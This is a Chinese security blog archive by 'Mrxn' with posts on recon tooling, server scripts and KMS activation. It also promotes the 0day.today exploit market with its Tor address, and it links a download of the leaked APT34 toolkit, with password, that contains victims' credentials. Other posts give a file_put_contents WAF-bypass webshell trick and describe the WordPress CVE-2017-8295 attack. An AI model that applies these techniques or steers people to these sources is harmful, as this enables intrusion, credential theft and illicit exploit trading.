subdomain_shell-一键调用subfinder+ksubdomain_mac+httpx

subdomain_shell

一键调用subfinder+ksubdomain+httpx 强强联合 从域名发现-->域名验证-->获取域名标题、状态码以及响应大小 最后保存结果,简化重复操作命令

因为懒 \-_-\ 不想重复写命令,故诞生此项目

暂时只写了个单域名的,后面找时间补上从文件加载多域名脚本 其实加个判断调整下基本上就OK,欢迎各位师傅 pull 啊
后期考虑加上 xray 的主动爬虫 来个简单的从域名到基本信息搜集的过程,可以做成定时任务,再入库?越来越复杂。。。拉闸 暂时先这样

tested on Mac & Ubuntu

食用方法

1.自行下载脚本,准备文件
2.下载我打包好的,下载解压开箱即用点我下载

Mac 脚本测试

运行后自动保存结果

Ubuntu 脚本测试

项目地址:https://github.com/Mr-xn/subdomain_shell 



Mrxn 发布于 2020-9-4 13:51

0day.today「一个0day漏洞交易市场」

在pastebin上看到的,想要买卖0day的可以进去看看,不想做买卖的也可以进去瞧瞧,原文如下:

be careful: if http://0day.today redirecting to pastebin page - your ip block.
Download TOR Browser and use TOR mirror http://mvfjfugdwgc5uwho.onion



意思就是说如果你直接浏览器打开 http://0day.today 跳转回 pastebin.com 说明你的IP被封了,换TOR浏览器打开他们在暗网上的网站地址:http://mvfjfugdwgc5uwho.onion .

shotpic_2019-04-27_21-33-36.png

打开界面如上图所示,你可以选择你的语言,包括:英语、俄语、德语、捷克语(土耳其)、法语、意大利语、希腊语、西班牙语、罗马尼亚文、波兰语、阿拉伯语(沙拉阿拉伯)、日文、中文等语种可供选择,但是建议不选择,默认英文即可。至于为什么不建议选择,当然是为了那可怜的隐私。

要进入网站需要同意网站的声明:网站收集的EXP和各种漏洞仅作为安全研究人员用途,我们只是收集并不负责,你需要自行承担所有的责任。(锅摔干净了!)

下面的用户协议、法律信息、声明等等就不一一翻译了,我想大部分人从不看网站的这些协议吧,简单的粘贴一下Google机翻的:

用户协议
任何访问该网站0day.today的人必须接受条款和条件(如下所列),或者立即离开0day.today。
如果您不同意0day.today的规则,您必须立即离开0day.today。
0day.today团队很高兴邀请您参与我们的项目 - 您需要做的就是注册开始!

一般信息
关于0day.today及其团队的官方信息仅在0day.today网站上发布。
不要依赖别人说的负面批评/谣言 - 这是一个误区!我们不会破坏任何网站,也不会攻击任何网络服务器。
0day.today团队专门研究bug研究,而不是恶意行为。
0day.today在没有任何保证的情况下发布,仅用于教育目的。
0day.today及其团队不负责非法使用所提供的信息。
0day.today是您的新数字朋友,他将帮助您避免网站上的许多安全问题!

司法,法律,程序员和源代码
我们特别注意遵守所有必要的欧洲法律,但我们行使权利以安全的方式交换信息。
所有提交的漏洞都将转发给产品制造商,并将发布以保护您的本地环境。
如果提交包含恶意代码,非法注释和/或敏感详细信息,则将删除或修改提交。

0day.today 1337day使命宣言
0day.today 1337day Mission将提供标准和技术数据库,以保护您的信息系统免受可能的威胁。
某些威胁可能针对您的信息/流程的机密性或完整性以及您的信息和服务的可用性。
在0day.today 1337day,我们会在发现新的安全漏洞时尽快通知您,以便您采取适当的措施来修补/修复它们。

0day.today 1337day团队的正式声明
我们不批准或鼓励任何人取消任何供应商许可,破坏网站,侵入数据库和/或使用欺诈或被盗材料进行交易。
我们不公布反对某些宗教,支持恐怖主义/种族主义或任何负面性质的咨询/漏洞。
我们不允许会员在我们的数据库或电子邮件中进行任何犯罪活动或请求。此类示例将立即删除,不做任何评论。
0day.today 1337day按“原样”向您提供信息,对您造成的任何损害不承担任何责任。
Inj3ct0r包含在某些国家/地区可能被视为非法的信息。
此类信息仅供教育之用,不得用于非法活动。 // 0day.today 1337day行政



当你同意这些协议后,点击 Yes, I agree 就进入网站了。进入网站后可以注册搜索等等,网站支持BT币作为交易货币,网站同时提供收费的和免费的漏洞,漏洞EXP类型包括(local, remote, DoS, PoC, 等) ,目前漏洞库共收录32442个漏洞,包括0day,各种语言的,平台,比如Java、php(包括国内的74CMS,国外wordpress等)、Android、Windows、Linux软件还包括像Sony电视等硬件的漏洞,你也可以通过搜索来搜索你感兴趣的漏洞或者是根据分类来筛选。而且漏洞都比较新,下面列举首页的一部分漏洞:

Twitter reset account Private Method 0day Exploit,
Instagram bypass Access Account Private Method Exploit、
SMF 2.1 Beta 2 Remote Code Execution 0day Exploit、
SMF 2.0.x Remote Code Execution 0day Exploit、
Snapchat takeover any account 0day Exploit、
Tebilisim Remote File Read Vulnerability、
Mod_Security <= 3.0 Bypass XSS Payload Vulnerability、
facebook - Grabbing  permanent access token which Never expires of your accounts and pages .、
Google Chrome 72.0.3626.121 / 74.0.3725.0 - NewFixedDoubleArray Integer Overflow Exploit、
Atlassian Confluence Widget Connector Macro Velocity Template Injection Exploit、
ManageEngine Applications Manager 11.0 < 14.0 - SQL Injection / Remote Code Execution Exploit、
MailCarrier 2.51 - POP3 (RETR) SEH Buffer Overflow Exploit、
Lavavo CD Ripper 4.20 Local SEH Exploit、
VirtualBox 6.0.4 r128413 - COM RPC Interface Code Injection Host Privilege Escalation Exploit、
RARLAB WinRAR ACE Format Input Validation Remote Code Execution Exploit、Sony Smart TV Information Disclosure / File Read Vulnerabilities、
Ross Video DashBoard 8.5.1 - Insecure Permissions Vulnerability、
LibreOffice 6.0.7 / 6.1.3 - Macro Code Execution Exploit、
Apache Pluto 3.0.0 / 3.0.1 - Persistent Cross-Site Scripting Vulnerability、
osTicket 1.11 - Cross-Site Scripting / Local File Inclusion VulnerabilitiesUliCMS 2019.2 / 2019.1 - Multiple Cross-Site Scripting Exploit、
74CMS 5.0.1 - Cross-Site Request Forgery (Add New Admin User) Exploit、
WordPress Contact Form Builder 1.0.67 Plugin - CSRF / Local File Inclusion Exploit、
Backup Key Recovery 2.2.4 - Denial of Service Exploit、
HeidiSQL 10.1.0.5464 - Denial of Service Exploit、
Linux - (page->_refcount) Overflow via FUSE Exploit、
Linux/x86 - Rabbit Shellcode Crypter (200 bytes)、
Linux/x86 - Cat File Encode to base64 and post via curl to Webserver Shellcode (125 bytes)、
Linux/x86 - add user to passwd file Shellcode (149 bytes)、
Linux/x86 - XOR Encoder / Decoder execve(/bin/sh) Shellcode (45 bytes)



home-page.pngexp-db.png

提示:暗网比表网的骗局还要多,自己慎重交易!


Mrxn 发布于 2019-4-27 21:33

黑客Dookhtegan泄露APT 34组织工具、成员信息包括一百多条webshell

shotpic_2019-04-19_22-04-20.png

shotpic_2019-04-19_22-01-00.png

近期,有匿名黑客开始泄露伊朗间谍组织APT 34(OilRig 或者 HelixKitten) 所使用的黑客工具,甚至还包括团队成员及受害者数据信息等等。虽然目前来看所泄露的工具并没有永恒之蓝如此复杂,但依然引发了大量安全研究者的持续关注。 从3月份开始,有人开始以“Lab Dookhtegan”这个名字在Telegram频道 https://t.me/lab_dookhtegan 中分享这些数据,截止我发这篇文章之时,已经有接近3100+人密切关注该频道发布的内容。

其中有118条 webshell  大多都是 OA系统 或者邮箱,APT 34 组织很会挑对象啊,这些系统都是有很多的有价值的数据。我注意了一下其中包含 China 的 webshell 就有13条,包括 www.cecep.cn(中国节能环保集团公司)、generali-china.cn(中意财产保险有限公司)、exchange.bestv.com.cn(BesTV网站-BesTV百变新视界)、bdo.com.cn(BDO立信)、lswebext.sdec.com.cn(上海柴油机股份有限公司(简称“上柴股份”))、mail.swsc.com.cn(西南证券)、mail.neway.com.cn(苏州纽威阀门股份有限公司)、crccre.cn(中国铁建房地产集团有限公司),这些都是中国的公司,其中不乏一些大公司。如下图所示,其中大部分的邮箱OA系统应该都是同一套系统,估计APT 34组织有对应的 0day 或者是公司内部安全建设差,总之都是受害者,更应该反思。

china_webshell.png

更多详细的wenshell相关信息可以去这里看:https://pastebin.com/jVcZc8pR
当然文末也有目前已经放出来的所有的文件打包下载地址。

截止目前,该匿名者已经放出了6款黑客工具

1.Glimpse(基于PowerShell的的新版木马,Palo Alto Networks命名为BondUpdater)

2.PoisonFrog(旧版BondUpdater)

3.HyperShell(称之为TwoFace的Palo Alto Networks网络外壳)

4.HighShell(另一个Web shell)

5.Fox Panel(钓鱼工具包)

6.Webmask(DNS隧道,DNSpionage背后的主要工具)

研究人员还检查了两个Web shell,发现HyperShell中名为“p”的cookie需要正确的密码才能获得访问权限。此外,Dookhtegan将所有最有意义的密码更改为“Th!sNotForFAN”。安全专家已确认这些泄露的工具和信息确实与APT 34组织有关。 Dookhtegan发布的信息还包括66名APT34组织受害者,主要是中东地区的政府机构和财务 能源公司,这与APT 34组织的先前情况一致。在有关受害者的阿联酋总统事务办公室(mopa.ae)的信息中,它还包括大约900个用户名和密码以及80多个webmail访问凭证。迪拜媒体公司的文件包括250多张优惠券。阿提哈德航空公司的信息包括10,000个用户名和明文密码,并通过Windows密码恢复工具的“高级版”破解获得。其他文件包括服务器信息 数据库转储和Mimikatz后利用工具输出数据。

目前泄露所有内容包下载地址:
https://s3-eu-west-1.amazonaws.com/malware-research.org/blogposts/apt34Leak/apt34leak.7z
解压缩密码:vJrqJeJo2n005FF *

原文地址:https://malware-research.org/apt34-hacking-tools-leak/


Mrxn 发布于 2019-4-19 21:54

宝塔(bt.cn)面板开启域名登录并且使用域名证书,解决浏览器信任证书问题

PS:最近因为工作原因,很忙,没时间写博客,各位读者,当你们每次打开都没有更新的时候,给你们说一声抱歉。

Onekey-Open-BT-panel-ssl-with-domain

宝塔(bt.cn)面板开启域名登录并且使用域名证书,解决浏览器信任证书问题,强迫症福音@[email protected]

  • 注意 :

目前使用此shell需要你在宝塔后台面板里面建一个需要绑定到面板的域名网站,最好申请Let's SSL证书,当然,shell也支持自定义证书路径。 只测试了建立网站后的,没有测试过不用建立网站,直接解析域名到服务器(这种未来会支持的,使用 acme.sh 来申请SSL证书或者是自定义证书都可以)

推荐一个可以检查shell语法的网站,超级好用.也可以安装到自己的机器上: shellcheck

shotpic_2018-08-22_12-54-16.png

使用方法:

  • 直接wget到本地执行就可以根据提示操作了:
wget https://raw.githubusercontent.com/Mr-xn/Onekey-Open-BT-panel-ssl-with-domain/master/Onekey-Open-BT-panel-ssl-with-domain.sh && bash Onekey-Open-BT-panel-ssl-with-domain.sh
  • ToDo
  •  支持自定义证书
  •  不需要宝塔后台添加域名
  •  添加宝塔常用命令:重置面板密码、重置封禁IP列表、更改端口等等

Mrxn 发布于 2018-8-22 14:25

一键搭建kms激活服务端&&Windows客户端一键激活脚本


update:06/10/2019 :
脚本加入开机自启动,完善逻辑,添加两种零售版转vol版本工具。shell是从vlmcsd仓库拉取编译,你安装的时候就是最新的,不要再问了。
shell在centos6/7 ubuntu 16 测试没问题,有问题的留言。
更新提示:
如果一键脚本不能激活的系统,请手动激活。GVLK密钥可以去微软这里查看最新的。

写这个就是因为这个清明小长假帮朋友重做系统...-_-||( ╯□╰ ),是的你没有看错,Jiu是做系统!

感觉学过计算机就是修电脑,做系统,组装台式机,/喷血。做完系统他说,你帮忙把office也装好吧...当然,是去MSDN-I-tell-you下载的VL版本的系统。需要激活,又不想用网上那些奇怪的软件,就只能自己动手了,就有了下面这个脚本。干净,利落!这个脚本可以激活VL版本的Windows系统和office绝大多数版本。无毒无污染,国家认证,Mrxn良心出品!好吧,下面剩下的知道的就不用看了,直接到底部去GitHub下载到你的小鸡鸡开始享用吧。

一定要注意:如果你的小鸡鸡有类似vultr,谷歌云,套路云这些带防火墙的,你需要在防火墙策略里面添加允许放行1688端口的TCP流量,不然你激活会失败的。

kms-server-deploy

一键搭建kms激活服务端和Windows客户端一键激活脚本

再此特别感谢KMS服务器程序的开发者Wind4

vlmcsd Github主页:https://github.com/Wind4/vlmcsd

脚本的使用方法:

在你的服务器上,执行如下命令即可:

wget https://raw.githubusercontent.com/Mr-xn/kms-server-deploy/master/kms-server-deploy.sh && bash kms-server-deploy.sh

不会的,请看下面的我的截图操作就知道了

Linux服务端安装卸载

安装

install_0.pnginstall_1.png

卸载

uninstall.png

Windows上激活

下载(解压缩mrxn_net_kms.cmd 附件下载:mrxn_net_kms.zip

下载后右键-以管理员身份运行

uac_run.png

激活中...

going.png

成功激活

success.png

手动激活教程如下:

以windows 10 专业版(Professional)为例,打开powershell(管理员)直接输入下列命令

slmgr.vbs -upk

slmgr.vbs -ipk W269N-WFGWX-YVC9B-4J6C9-T83GX #注意!!不同系统版本这里的激活码不一样,请往下翻寻找表格!

slmgr.vbs -skms kms.mrxn.net

slmgr.vbs -ato

slmgr.vbs -dlv

注意!不同的系统,这一步中输入的密钥不相同!!!


附表:

各操作系统KMS激活方式所对应的激活码

Windows 10

操作系统版本 KMS客户端设置密钥
Windows 10 专业版 W269N-WFGWX-YVC9B-4J6C9-T83GX
Windows 10 专业N版 MH37W-N47XK-V7XM9-C7227-GCQG9
Windows 10 企业版 NPPR9-FWDCX-D2C8J-H872K-2YT43
Windows 10 企业N版 DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4
Windows 10 教育(家庭)版 NW6C2-QMPVW-D7KKK-3GKT6-VCFB2
Windows 10 教育(家庭)N版 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ
Windows 10 企业版2015 LTSB WNMTR-4C88C-JK8YV-HQ7T2-76DF9
Windows 10 企业版 2015 LTSB N 2F77B-TNFGY-69QQF-B8YKP-D69TJ
Windows 10 企业版 2016 LTSB DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ
Windows 10 企业版 2016 LTSB N QFFDN-GRT3P-VKWWX-X7T3R-8B639

Windows Server 2012和Windows 8

操作系统版本 KMS客户端设置密钥
Windows 8专业版 NG4HW-VH26C-733KW-K6F98-J8CK4
Windows 8 Professional N XCVCF-2NXM9-723PB-MHCB7-2RYQQ
Windows 8企业版 32JNW-9KQ84-P47T8-D8GGY-CWCK7
Windows 8企业N JMNMF-RHW7P-DMY6X-RF3DR-X2BQT
Windows Server 2012 BN3D2-R7TKB-3YPBD-8DRP2-27GG4
Windows Server 2012 N 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY
Windows Server 2012单一语言 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ
Windows Server 2012具体国家 4K36P-JN4VD-GDC6V-KDT89-DYFKP
Windows Server 2012服务器标准 XC9B7-NBPP2-83J2H-RHMBY-92BT4
Windows Server 2012 MultiPoint Standard HM7DN-YVMH3-46JC3-XYTG7-CYQJJ
Windows Server 2012 MultiPoint Premium XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G
Windows Server 2012数据中心 48HP8-DN98B-MYWDG-T2DCC-8W83P

Windows 7和Windows Server 2008 R2

操作系统版本 KMS客户端设置密钥
Windows 7专业版 FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4
Windows 7专业版 MRPKT-YTG23-K7D7T-X2JMM-QY7MG
Windows 7 Professional E W82YF-2Q76Y-63HXB-FGJG9-GF7QX
Windows 7企业版 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH
Windows 7企业N YDRBP-3D83W-TY26F-D46B2-XCKRJ
Windows 7企业E C29WB-22CC8-VJ326-GHFJW-H9DH4
Windows Server 2008 R2 Web 6TPJF-RBVHG-WBW2R-86QPH-6RTM4
Windows Server 2008 R2 HPC版 TT8MH-CG224-D3D7Q-498W2-9QCTX
Windows Server 2008 R2 Standard YC6KT-GKW9T-YTKYR-T4X34,R7VHC
Windows Server 2008 R2企业版 489J6-VHDMP-X63PK-3K798-CPX3Y
Windows Server 2008 R2数据中心 74YFP-3QFB3-KQT8W-PMXWJ-7M648
Windows Server 2008 R2(用于基于Itanium的系统) GT63C-RJFQ3-4GMB6-BRFB9-CB83V

Windows Vista和Windows Server 2008

操作系统版本 KMS客户端设置密钥
Windows Vista Business YFKBB-PQJJV-G996G-VWGXY-2V3X8
Windows Vista Business N HMBQG-8H2RH-C77VX-27R82-VMQBT
Windows Vista企业版 VKK3X-68KWM-X2YGT-QR4M6-4BWMV
Windows Vista企业N VTC42-BM838-43QHV-84HX6-XJXKV
Windows Web Server 2008 WYR28-R7TFJ-3X2YQ-YCY4H-M249D
Windows Server 2008 Standard TM24T-X9RMF-VWXK6-X8JC9-BFGM2
没有Hyper-V的Windows Server 2008 Standard W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ
Windows Server 2008企业版 YQGMW-MPWTJ-34KDK-48M3W-X4Q6V
没有Hyper-V的Windows Server 2008 Enterprise 39BXF-X8Q23-P2WWT-38T2F-G3FPG
Windows Server 2008 HPC RCTX3-KWVHP-BR6TB-RB6DM-6X7HP
Windows Server 2008数据中心 7M67G-PC374-GR742-YH8V4-TCBY3
没有Hyper-V的Windows Server 2008数据中心 22XQ2-VRXRG-P8D42-K34TD-G3QQC
Windows Server 2008(用于基于Itanium的系统) 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK

Windows Server 2016

操作系统版本 KMS客户端设置密钥
Windows Server 2016数据中心 CB7KF-BWN84-R7R2Y-793K2-8XDDG
Windows Server 2016标准 WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY
Windows Server 2016 Essentials JCKRF-N37P4-C2D82-9YXRT-4M63B

 


手动代码激活OFFICE

首先你的OFFICE必须是VOL版本,否则无法激活。
找到你的office安装目录,比如C:\Program Files (x86)\Microsoft Office\Office16

64位的就是C:\Program Files\Microsoft Office\Office16

office16是office2016,office15就是2013,office14就是2010.

然后目录对的话,该目录下面应该有个OSPP.VBS。

接下来我们就cd到这个目录下面,例如:

cd "C:\Program Files (x86)\Microsoft Office\Office16"

然后执行注册kms服务器地址:

cscript ospp.vbs /sethst:kms.mrxn.net

/sethst参数就是指定kms服务器地址。

一般ospp.vbs可以拖进去cmd窗口,所以也可以这么弄:

cscript "C:\Program Files (x86)\Microsoft Office\Office16\OSPP.VBS" /sethst:kms.mrxn.net

一般来说,“一句命令已经完成了”,但一般office不会马上连接kms服务器进行激活,所以我们额外补充一条手动激活命令:

cscript ospp.vbs /act

如果提示看到successful的字样,那么就是激活成功了,重新打开office就好。

激活失败的原因可能有哪些?

1、你的系统/OFFICE是否是批量VL版本
2、是否以管理员权限运行CMD
3、你的系统/OFFICE是否修改过KEY/未安装GVLK KEY
4、检查你的网络连接
5、本地的解析不对,或网络问题(点击检查服务器是否能连上)
6、根据出错代码自己搜索出错原因
7、0x80070005错误一般是你没用管理员权限运行CMD

GitHub地址:https://github.com/Mr-xn/kms-server-deploy 欢迎start,提issues,Pull!


Mrxn 发布于 2018-4-7 13:09

系统中X1-lock进程Xorg占用CPU爆表通过shell脚本解决以及shell一些知识【笔记】

首先看一下这张CPU的近一周的波动统计图,可以知道从2月28日开始一路飙升,并且后来时不时的自动停止,这个起伏真的是 因吹丝挺啊!(小声嘀咕:QNMLGB!

shotpic_2018-03-04_14-41-03.png

我那两天忙,没时间看,这几天空了上去一看傻眼了。。。CPU爆表啊,.X1-lock占用CPU98% ,在Top命令下 C查看进程一看是Xorg,我擦,难道中马了(一种不祥的预感,事实是的-_-|| >悲伤<):

shotpic_2018-03-02_14-17-56.png

shotpic_2018-03-02_14-18-39.png

我就想起了前段时间折腾nextcloud,装了各种插件,而其中ocdownloader需要aria2c,我就去Google搜索啊,结果我也忘了借鉴了谁的,估计装到了个假的aria2c,于是乎就中马了。。。

shotpic_2018-03-02_15-59-39.png

好吧,删除了aria2c以及nextcloud,终止那个wget 进程 并删掉残留//瞬间清静了。。。但是,我后来发现了,这个木马其实占用的CPU并不高(并不一定 =_= 无奈自己太菜不知道如何确定 )<< 从上图得出的结果。

后来Google搜索啊,询问了大佬以及网友的记录,大致如下:

Xorg这个进程多半是是由 vncserver 产生的,所以由此可以推定因为 VNC 服务导致了 CPU 占用超高。连接 VNC 需要请求 GUI 资源,如果机器配置和网络条件不够好,那么资源占用高是必然的了。如果无法升级硬件配置,那么可以考虑调整 VNC 设置,将所需的 GUI 要求降低,如减少分辨率、颜色位深等。

但是我在自己的服务器上找了半天,都没有找到神马vncserver,于是乎,只能自己先写个脚本监控它(因为这个进程的名字不变,如果进程的名字会改变,稍微修改一下我的脚本也可以使用的),如果一出现就直接FUCK kill它。脚本结果运行截图如下:

shotpic_2018-03-04_15-28-13.png

注:脚本可以写进crontab 定时执行,监控,暂时就这么个暴力解决的办法。脚本地址:https://github.com/Mr-xn/server-bash-script/blob/master/freecpu.sh 

后来找了好久,终于找到方法了。。。卸载所有X11相关的包以及Xorg的包,然后查找系统里面的X11相关路径文件和文件夹,全部删除掉。。。OK了!几个小时都没有再出现 .X1-lock 被杀的记录了。卸载相关参考命令我会给出链接,至于查找嘛,很简单,whereis X11 ,apt-get --purge remove 'x11-*'

[email protected]:~# whereis X11
X11: /usr/bin/X11 /usr/lib/X11 /etc/X11 /usr/include/X11 /usr/share/X11

[email protected]:~# rm -rf /usr/bin/X11 /usr/lib/X11 /etc/X11 /usr/include/X11 /usr/share/X11

终止掉 .X1-lock 进程在进行这些删除操作就好了。

[email protected]:~# find / -name 'xorg'
/usr/share/X11/xkb/rules/xorg
[email protected]:~# ls -lgth /usr/share/X11/xkb/rules/xorg
lrwxrwxrwx 1 root 4 Jun 6 2014 /usr/share/X11/xkb/rules/xorg -> base

至于这个xorg 的内容我贴在这里了,你们有看的,可以去查看:https://pastebin.com/WCxn3Bux

删完后 你继续查找 如果像下面这个就表示删干净了。

[email protected]:~# whereis xorg
xorg:
[email protected]:~# whereis X11
X11:
[email protected]:~# 

 相关参考链接:

https://www.howtoinstall.co/en/debian/jessie/x11-common?action=remove

http://www.pc-freak.net/blog/debian-linux-remove-xorg-gnome-gdm-graphical-environment-packages-serverr/

https://www.wikihow.com/Configure-X11-in-Linux

https://raspberrypi.stackexchange.com/questions/5258/how-can-i-remove-the-gui-from-raspbian-debian (这个里面比较详细)

下面是写shell 的一些笔记,生人勿看。

linux shell中 if else以及大于、小于、等于逻辑表达式介绍:

比如比较字符串、判断文件是否存在及是否可读等,通常用"[]"来表示条件测试。

注意:这里的空格很重要。要确保方括号的空格。我就曾因为空格缺少或位置不对,而浪费好多宝贵的时间。

if ....; then
....
elif ....; then
....
else
....
fi


[ -f "somefile" ] :判断是否是一个文件
[ -x "/bin/ls" ] :判断/bin/ls是否存在并有可执行权限
[ -n "$var" ] :判断$var变量是否有值
[ "$a" = "$b" ] :判断$a和$b是否相等
-r file     用户可读为真
-w file     用户可写为真
-x file     用户可执行为真
-f file     文件为正规文件为真
-d file     文件为目录为真
-c file     文件为字符特殊文件为真
-b file     文件为块特殊文件为真
-s file     文件大小非0时为真
-t file     当文件描述符(默认为1)指定的设备为终端时为真

含条件选择的shell脚本 对于不含变量的任务简单shell脚本一般能胜任。但在执行一些决策任务时,就需要包含if/then的条件判断了。shell脚本编程支持此类运算,包括比较运算、判断文件是否存在等。
基本的if条件命令选项有:

eq —比较两个参数是否相等(例如,if [ 2 –eq 5 ])
-ne —比较两个参数是否不相等
-lt —参数1是否小于参数2
-le —参数1是否小于等于参数2
-gt —参数1是否大于参数2
-ge —参数1是否大于等于参数2
-f — 检查某文件是否存在(例如,if [ -f "filename" ])
-d — 检查目录是否存在 


几乎所有的判断都可以用这些比较运算符实现。脚本中常用-f命令选项在执行某一文件之前检查它是否存在。

 

shell 的 if 条件判断中有多个条件:

-------------------------------------------------------
#!/bin/bash
score=$1
if [ $score = 5 ]||[ $score = 3 ];then
    echo right
else
    echo wrong
fi
 
-------------------------------------------------------
#!/bin/bash
score=$1
if [ $score -gt 5 ]||[ $score -lt 3 ];then
    echo right
else
    echo wrong
fi
 
-------------------------------------------------------
#!/bin/bash
score=$1
if [ $score -gt 15 ]||([ $score -lt 8 ]&&[ $score -ne 5 ]);then
    echo right
else
    echo wrong
fi
 
-------------------------------------------------------
或:

#!/bin/bash

count="$1"

if [ $count -gt 15 -o $count -lt 5 ];then

   echo right

fi
 
且:

#!/bin/bash

count="$1"

if [ $count -gt 5 -a $count -lt 15 ];then

   echo right

fi
-------------------------------------------------------
score=$1
if [[ $score -gt 15 || $score -lt 8 && $score -ne 5 ]];then
    echo right
else
    echo wrong
fi

记住必须加两个中括号!!!
 

linux shell脚本 截取字符串时执行错误:bad substitution :

 
比如脚本cutstr.sh的作用时截取www:
 
#/bin/bash
mm="www.baidu.com"
echo ${mm:0:3}
 
执行脚本方式不同出现的结果不同:

方式1、sh cutstr.sh

结果:Bad substitution

方式2、bash cutstr.sh

结果:www

方式3、

chmod 777 cutstr.sh

./cutstr.sh

结果:www

结论:

在执行脚本时要注意的是执行环境的shell,Ubuntu 中执行最好使用上面的方式二或者方式三,注意使用方式一时有时会报错。
 
下面这个脚本执行就会出错:Bad substitution
<span style="color:#FF0000;"><strong>#!/bin/sh</strong></span>

test=asdfghjkl
echo ${test:1}
 
修改#!/bin/sh 为 #!/bin/bash 即可!至于这两者的区别,自行搜索查看有详细的官方讲解。
 
参考链接:
 

Mrxn 发布于 2018-3-4 14:30

利用file_put_contents()函数写shell的小trick

首先不了解PHP的file_put_contents()函数的自己去这里看一下官方给出的解释:

http://php.net/manual/zh/function.file-put-contents.php

 shot_20170920_210309.png

思路大致如下:

file_put_contents()在写入文件时的第二个参数可以传入数组,如果是数组的话,将被连接成字符串再进行写入。在正则匹配前,传入的是一个数组。得益于PHP的弱类型特性,数组会被强制转换成字符串,也就是ArrayArray肯定是满足正则\A[ _a-zA-Z0-9]+\z的,所以不会被拦截。这样就可以绕过类似检测“<?”之类的waf。

下面是测试的代码:

<?php
header("Content-type: text/html; charset=utf-8");
/*
测试file_put_contents数组写shell
modify:Mrxn
Blog:https://mrxn.net/
*/
echo "just a shell test!";
$text = $_GET['text'];
if (preg_match('[<>?]', $text)) {
die('erro!');
}
echo '<br>'.'下面就是text的内容:'.'<br>';
echo $text;
echo '<br>';
var_dump($text) ;
file_put_contents('config.php', $text);
?>

我们访问后,通过自己定义text可以实时得到反馈,便于测试:

shot_20170920_212134.png

代码检测了写入的内容是否存在“<”“>”“?”等字符。根据上面的trick,我们可以通过传入一个数组来达到写入shell的目的。可以看到虽然有个警告。但config.php确实被写入了。<? php phpinfo(); 如下所示:shot_20170920_212202.png

注:这个不是我发现的,是在P牛的小蜜圈发现的.只是自己亲自测试了一下,将代码略作修改,便于新手理解!)_我就是说我自己是个新手-_- 囧| 逃 :)

我们下次再见...

ps:友情链接里面,有看到的自己帮忙加上,一个月后没有加的我就删除了.

标签: shell php 函数

Mrxn 发布于 2017-9-20 20:55

shell编程报错:“syntax error near unexpected token `”

因为测试exp...在Kali测试正常....不小心在windows下用sublime编辑了一下...再去linux运行就出错了..

运行报错syntax error near unexpected token `..

左看右看shell脚本没有问题,没有办法google搜索,发现一位仁兄讲的挺好,内容如下:

      用命令vi -b 打开你的SHELL脚本文件,你会。发现每行脚本最后多了个^M。

  那么接下来就要搞清楚这个^M是什么东东?

  long long ago.....  老式的电传打字机使用两个字符来另起新行。一个字符把滑动架移回首位 (称为回车,<CR>,ASCII码为0D),另一个字符把纸上移一行 (称为换行, <LF>,ASCII码为0A)。当计算机问世以后,存储器曾经非常昂贵。有些人就认定没必要用两个字符来表示行尾。UNIX 开发者决定他们可以用 一个字符来表示行尾,Linux沿袭Unix,也是<LF>。Apple 开发者规定了用<CR>。开发 MS-DOS以及Windows 的那些家伙则决定沿用老式的<CR><LF>。

  因为MS-DOS及Windows是回车+换行来表示换行,因此在Linux下用Vim查看在Windows下用VC写的代码,行尾后的“^M”符号,表示的是符。

  在Vim中解决这个问题,很简单,在Vim中利用替换功能就可以将“^M”都干掉,键入如下替换命令行:

  1)vi -b setup.sh

  2)在命令编辑行<就是: 按ESC键 然后shift+:冒号>输入:%s/^M//g

  注意:上述命令行中的“^M”符,不是“^”再加上“M”,而是由“Ctrl+v”、“Ctrl+M”键生成的。

  这样替换掉以后,保存就可以执行了。当然还有其他的替换方式比如:

  a.一些linux版本有 dos2unix 程序,可以用来祛除^M。

  b.cat filename1 | tr -d "/r" > newfile 去掉^M生成一个新文件,还有sed命令等,凡是可以替换的命令都是可以用来新生成一个文件的。

      按照上面所说的,删除^M后 ,shell脚本就运行正常.切记.sh脚本不要再Windows下编辑...各种诡异的错误...

PS:另外小计一下在测试exp时候,

执行curl -sSL 提示curl: (35) SSL connect error ,解决方法----

升级网络安全服务即可(centos):  yum update nss.




Mrxn 发布于 2017-5-6 09:19

0day来袭WordPress Core <= 4.7.4全版本密码重置漏洞

这两天的wordpress总是不平静....今天刚刚爆出0day....


漏洞概述


漏洞编号:CVE-2017-8295

漏洞发现者:dawid_golunski

漏洞危害:中/高

影响版本:WordPress Core <= 4.7.4

漏洞描述:Wordpress的密码重置功能,其中存在漏洞在某些情况下可能允许攻击者在未经身份验证的情况下获取密码重置链接。这种攻击可导致攻击者获得未经授权的WordPress帐户访问权限。该漏洞的触发条件比较苛刻。


漏洞细节


默认情况下,该漏洞由于WordPress使用不受信任的数据。当进行密码重置时,系统会发送相关密码重置链接到所有者帐户相关联的电子邮件。

这可以在创建From的代码片段中观察到

调用PHP mail()函数前的电子邮件头:

------[ wp-includes/pluggable.php ]------
...
if ( !isset( $from_email ) ) {
        // Get the site domain and get rid of www.
        $sitename = strtolower( $_SERVER['SERVER_NAME'] );
        if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                $sitename = substr( $sitename, 4 );
        }
        $from_email = '[email protected]' . $sitename;
}
...

我们可以看到,Wordpress正在使用SERVER_NAME变量来获取主机名,该服务器为了创建一个From / Return-Path 地址,包含重置密码的相关信息的电子邮件。但是,Web服务器(如Apache)使用客户端提供的主机名默认设置SERVER_NAME变量


(在HTTP_HOST 头内):

https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname 

因为SERVER_NAME可以修改,攻击者可以将其设置为任意他选择的域。例如:

attackers-mxserver.com

这将导致Wordpress将$ from_email设置为 

[email protected]

并因此导致发送电子邮件与From / Return-Path设置为此恶意地址。

至于攻击者能够修改哪个电子邮件头 - From / Return-Path,这取决于服务器环境。更多可以阅读

http://php.net/manual/en/function.mail.php 

From头在Windows下还设置了Return-Path。

